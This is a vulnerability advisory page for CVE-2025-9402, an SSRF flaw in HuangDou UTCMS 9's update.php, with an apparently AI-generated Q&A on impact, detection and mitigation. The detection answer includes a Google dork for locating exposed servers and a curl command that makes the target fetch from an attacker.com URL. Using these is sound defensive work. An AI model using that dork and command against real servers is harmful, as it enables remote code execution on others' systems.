CVE-2025-9402
BaseFortify
Publication date: 2025-08-25
Last updated on: 2026-04-29
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
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Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| utcms_project | utcms | 9.0 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-918 | The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
CVE-2025-9402 is a server-side request forgery (SSRF) vulnerability in HuangDou UTCMS version 9, specifically in the update.php script's UPDATEURL parameter. An attacker can manipulate this parameter to make the server send unauthorized requests to arbitrary URLs. This flaw allows the attacker to remotely download and decompress malicious packages on the server, potentially leading to remote code execution (RCE). The vulnerability arises from improper handling of remote file downloads and decompression in the update mechanism. [1, 2]
How can this vulnerability impact me? :
This vulnerability can impact you by allowing attackers to remotely execute arbitrary code on your server, compromising the confidentiality, integrity, and availability of your system. Attackers can exploit this flaw to run malicious payloads, potentially taking control of the affected server. The attack can be performed remotely and is considered easy to execute, with proof-of-concept exploits publicly available. This can lead to unauthorized access, data breaches, service disruption, and other severe security consequences. [1, 2]
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by identifying if the vulnerable update.php page is accessible and if the UPDATEURL parameter is manipulable. One method is to search for the vulnerable URL pattern using Google dorking with the query: inurl:app/modules/ut-frame/admin/update.php. On your system or network, you can use tools like curl or wget to test the update.php endpoint by sending requests with manipulated UPDATEURL parameters to observe if the server makes unauthorized requests. For example, a command like: curl -v 'http://target/app/modules/ut-frame/admin/update.php?UPDATEURL=http://attacker.com/malicious' can be used to test if the server fetches the remote URL. Monitoring outgoing requests from the server to unexpected external URLs can also help detect exploitation attempts. [2]
What immediate steps should I take to mitigate this vulnerability?
Immediate mitigation steps include disabling or restricting access to the vulnerable update.php script, especially the functionality that processes the UPDATEURL parameter. Since no known countermeasures or patches have been published by the vendor, consider restricting network egress from the server to prevent unauthorized outbound requests. Additionally, consider replacing the affected HuangDou UTCMS component with an alternative product. Monitoring and blocking suspicious requests targeting the update.php endpoint can also help reduce risk until a proper fix is available. [2]